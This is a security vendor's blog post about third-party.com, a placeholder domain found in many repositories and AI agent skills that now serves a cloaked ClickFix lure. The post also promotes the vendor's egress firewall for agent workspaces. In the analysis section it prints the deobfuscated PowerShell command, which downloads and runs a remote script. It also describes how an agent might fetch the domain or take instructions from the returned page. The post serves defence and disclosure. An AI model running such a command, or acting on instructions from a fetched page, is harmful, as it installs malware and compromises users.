← Back to all posts
Published on · by Renaud Deraison

The skill pointed at third-party.com, and third-party.com answered

Manifold Security found third-party.com, a documentation placeholder sitting in 1,500 files across 1,700 repositories including Chromium, Vercel and Brave, and inside public agent skills, serving a ClickFix lure since June. Somebody registered the domain in 1996. It hands a clean page to anything that looks like a scanner, and one blocklist flagged it and gave up ten days later. A hostname is the one dependency no lockfile has a line for, and Bromure Agentic Coding answers it with a list of the places the workspace may call.

A dependency you audit has a version, a maintainer and a line in a lockfile. The hostname in an example URL has an owner and nothing else, and owners change their minds.

You ask the agent to lazy-load a widget. It loads a skill you installed months ago, reads the Liquid snippet the skill offers as the reference implementation, and the snippet's src is https://third-party.com/widget.js.

You read that as a blank to fill in. The agent reads a hostname that resolves, a server that answers, and an owner who decides what the answer is. Placeholder is a convention among people writing documentation for other people. It is not a property of the string.

The domain in 1,700 repositories

On September 23, Ax Sharma and Cody Nash at Manifold Security published an analysis of third-party.com, a domain most developers know as filler. The Hacker News covered it the next day. Since at least June 2026 the domain has served a ClickFix lure: the page puts a command on your clipboard, then asks you to paste it somewhere that runs it.

One sentence from the write-up carries the premise: "Unlike example[.]com, third-party[.]com is not IANA-reserved. Anyone could register it, and someone did." Somebody registered it in 1996 through Network Solutions, and it has changed hands like any other domain since, with thirty years of clean history behind it.

A GitHub code search returns more than 1,500 files across more than 1,700 repositories. Manifold names Chromium, Sanity, Vercel, Brave and HackTricks among them. And third-party.com has company: The Hacker News counts thirteen more non-reserved placeholders now serving scareware, fake security warnings and investment scams, among them yourdomain.com, yoursite.com, myapp.com, acme.com, company.com and vendor.com, across hundreds of thousands of GitHub files and hundreds of agent skills.

A Windows browser gets a fake Cloudflare verification page. JavaScript writes to the clipboard through a hidden textarea and a hijacked copy event, and the page tells you to press Win+R, then Ctrl+V, then Enter. Deobfuscated, the clipboard holds:

powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null"

irm fetches a script over HTTPS, iex runs it in memory, and 2>$null swallows the errors. The page appends a decoy string, "Security check, I'm not a robot, Verification ID" and some digits, so the Run dialog shows something close to what the page asked for.

It hands a clean page to anything that checks

The payload matters less than the selection. The server picks who sees it, per request.

Manifold, verbatim: "Query this domain from a datacenter range, from a Linux crawler, from anything that is not the intended victim, and it hands back a clean page." A Mac gets a refusal: "macOS is not supported. This website requires a Windows PC to access." The lure fires for the visitor the operator wrote it for.

IPFire's blocklist flagged the domain on July 7, 2026 and de-listed it ten days later, on July 17. Whoever maintains that list could not reproduce the malicious response, because the server does not serve it to them. Three months on, the domain is live, still cloaked, and still sitting in 1,700 repositories.

Reputation feeds have nothing to carry here, and there is no advisory to subscribe to. Nobody compromised this domain. Somebody owns it.

The carriers include your agent's skills

Manifold went looking in the places agents read and found the string in three public skills.

shopify-expert, in jeffallan/claude-skills (around 11,000 stars), uses it in a Liquid snippet for lazy-loading a third-party widget. alova-server-usage, in alovajs/skills, uses it in an OAuth gateway example. And dynamic-dashboard-builder from ClawHub uses it inside a block labelled "Wrong: Hardcoded endpoint, NEVER do this."

That cautionary example is a live URL. Three tool calls later, when the model writes the code, it has to carry the don't-do-this frame along with the string, and the string looks the same either way.

A documentation hostname reaches the network three ways, and one session can run all three:

  • It fetches it. Skills and MCP server docs are full of endpoints, and an agent that is checking whether a snippet works resolves them. Whatever comes back arrives in the model's context as ordinary tool output.
  • It writes it. The snippet lands in your source, the diff passes review, and the src attribute nobody read ships to your users' browsers. Manifold documents the lure firing on Windows browsers, which is what a good share of those users run.
  • It reads instructions from it. ClickFix addresses whoever is reading. Today's version targets a person at a Windows keyboard, and a Linux agent gets the "not supported" page. The server already fingerprints its callers and serves three different replies. A fourth reply, for clients that look like agents, costs the operator one configuration line.
A string in the docs, and the four answers behind it1,500 files, 1,700 reposREADME.mdmcp-server docsshopify-expert/SKILL.mddynamic-dashboard-builderthe last one labels it "NEVER do this"agent reads,then resolvesthird-party.comregistered 1996, not reservedfingerprints every callerthe owner picks the replya Windows browserfake Cloudflare check → clipboard → Win+Ra Mac"macOS is not supported"a crawler, a datacenter range, a scannera clean page, every timewhat the clipboard holds, deobfuscatedpowershell "Write-Host(&{iex(irm('elxxvvx.xyz/f'))})2>$null"the consequence for reputationIPFire flagged Jul 7 · de-listed Jul 17and the reason none of your existing controls has an opinionno version to pin · no maintainer to trust · no lockfile entry · no SBOM line · no CVE · no advisoryit becomes real exactly once: when something opens a connection to it
The same hostname, four different answers. Somebody registered third-party.com in 1996, and it now appears in more than 1,500 files: READMEs, MCP server docs, and agent skills, including one that uses it as a don't-do-this example. The server picks its reply from who asked. A Windows browser gets the fake Cloudflare page and a clipboard full of PowerShell. A Mac gets a refusal. A scanner or a datacenter crawler gets a clean page, which is why IPFire flagged the domain on July 7, 2026 and de-listed it ten days later. No manifest, lockfile or SBOM has a line for a hostname.

A placeholder is a dependency nobody declared

Supply-chain tooling works on artifacts with identities. A package has a name, a version, a registry, a publish date and a maintainer, so you can pin it, age-gate it, check its provenance and diff it against last week. A hostname in a comment has one of those properties: an owner. No tool in your pipeline resolves it, records it, or tells you when it changes hands. The control that reaches a placeholder has to sit on connections rather than artifacts.

Inside a Bromure workspace

In Bromure Agentic Coding, outbound traffic from a workspace is an ordered rule table. Rules match top to bottom, first match wins, and a segmented Unmatched traffic control sets the default to Allow or Deny. Each rule carries an action, a protocol (tcp, udp, web or any), a host or CIDR, ports, and for web rules a list of HTTP methods. Hostnames suffix-match, so example.com covers the apex and every subdomain. The canonical form is one rule per line, ending in default allow or default deny:

allow tcp github.com:443
allow tcp registry.npmjs.org:443
allow web api.yourcompany.internal GET,POST
default deny

A hostname that exists as a typographic convention is not on that list. You wrote the list from the places the work reaches, and filler strings do not appear in that set. The workspace never has to learn that third-party.com is hostile, which helps, because no feed says so. It has to see one thing: third-party.com is not github.com.

Your Mac enforces the ruleset twice. The virtual network switch matches each flow by destination IP and DNS-snooped hostname, across TCP and UDP, and the host proxy matches again by TLS server name and, for web rules, by individual HTTP method. The switch diverts the VM's port-80 and port-443 traffic into the proxy with no environment variable involved and nothing the guest can unset. Rule edits reach running sessions at once, so you can tighten a workspace without restarting an agent halfway through a task.

The agent on a laptopreads the skill, resolves the stringGET https://third-party.com/widget.jsnothing sits between the process and DNSthe reply lands in the context windowwhatever the owner chose to serve that callerand the snippet keeps the hostname on its way to reviewno CVE, no advisory, no lockfile lineand the blocklist gave the verdict back in Julyyou find out when a user's browser doesthere is no record that the hostname was ever touchedThe agent in a Bromure workspacereads the same skill, in an Ubuntu guestGET https://third-party.com/widget.js:80 and :443 diverted into the host proxymatched twice, on the Macswitch: destination IP + DNS-snooped hostproxy: TLS server name + HTTP methodno rule matches → default denyand a fake carried off-scope returns 451, VM pausedSecurity Timeline, Firewall rowthird-party.com:443 tcp — blocked
The same skill file, two machines. On a laptop the agent resolves the placeholder because nothing sits between it and DNS, the fetched page lands in the model's context, and the snippet goes into your source with the hostname intact. In a Bromure workspace the host matches the connection twice, by destination IP and DNS-snooped hostname at the virtual switch and again by TLS server name at the proxy, against the list of places the work needs to reach. Unmatched traffic set to Deny ends it there, and the refusal becomes a Firewall row naming the hostname, which is how you find the string in your own output before it reaches your users' browsers.

The Firewall row reaches your diff

Blocking the connection ends the fetch. Getting the string out of your source takes the row.

Each firewall verdict lands in the Security Timeline window as a Firewall entry (the manual's own example row reads evil.example:443 tcp — blocked), in one chronological table alongside credential swaps, supply-chain decisions, guardrail enforcements and prompt-injection hits, colour-coded and filterable.

The first time anything in the session resolves a hostname you did not list, that hostname is on your screen with a timestamp and the workspace it came from. You go back to the diff, find the src attribute, and fix it before the branch merges. Egress alone cannot reach that half of the story, because in the write-it case somebody else's browser makes the dangerous request, weeks later.

Two more controls sit in the path, and both are worth turning on.

The prompt-injection detectors score untrusted content on its way to the model, meaning file contents, web pages, and tool output carried in tool_result blocks, with a local Prompt Guard classifier that runs on-device and sends nothing off the Mac. ClickFix text is an instruction addressed to whoever reads it, which is the shape that classifier was trained on. It runs in the host proxy, where an agent in the VM cannot turn it off, and you pick what a hit does: log it, pause and show you the flagged text, or refuse the request with an HTTP 451 the model never sees.

The wire boundary covers the case where a doc talks the agent into authenticating to the placeholder. No file, environment variable or process inside the VM holds a real API key, OAuth token, AWS secret or SSH private key. The guest gets a structure-preserving fake, and the host swaps in the real value for the one host that credential was minted for. The proxy scans the headers and body of every outbound request for those fakes with an Aho-Corasick automaton. One headed somewhere it does not belong gets HTTP 451 with not a byte forwarded, pauses the VM, writes a red Credential brokering row, and marks the workspace compromised, so your next launch offers to wipe its disk and home while keeping your tokens and settings.

Reserve your placeholders

example.com, example.org, example.net and the .example TLD are IANA-reserved, and nobody can buy them. third-party.com, acme.com and yourcompany.com are ordinary domains. Grep your skills, your MCP configs and your READMEs for the ones nobody reserved.

Write the destination list once

A workspace needs a short, stable set of hosts: your forge, your registry, your model endpoint, your API. Set unmatched traffic to Deny, and the hostnames nobody thought about, placeholders included, are handled without anyone naming them.

Do not allowlist to quiet a scanner

Manifold's own recommendation. Add a domain to an allowlist so a check goes green, and you have promised to trust its owner forever, having never met them.

Read the Firewall rows

A blocked hostname you do not recognise tells you which string the agent picked up, and points you at the part of the diff where you will find it.

Somebody bought a domain

Nobody poisoned a registry here, took over a maintainer account, typosquatted a package, subverted a CI pipeline, or tricked a model. Someone bought a domain that was for sale, the way it had been for sale since 1996, and pointed it at a web server.

The industry has answered supply-chain risk by giving artifacts better identities: provenance attestations, sigstore signatures, SBOMs, pinned digests. That work is good, and it does not touch this, because the thing sitting in 1,700 repositories is a string rather than an artifact. Developers copied it out of one README and into the next for years, and it exists as a real thing for the length of one DNS lookup and one TCP connection.

Govern that moment. Give the workspace a list of the places the work goes, enforce it somewhere the agent cannot reach, and read the rows for names you did not put there. A placeholder that fails to resolve goes back to being the harmless piece of typography you took it for.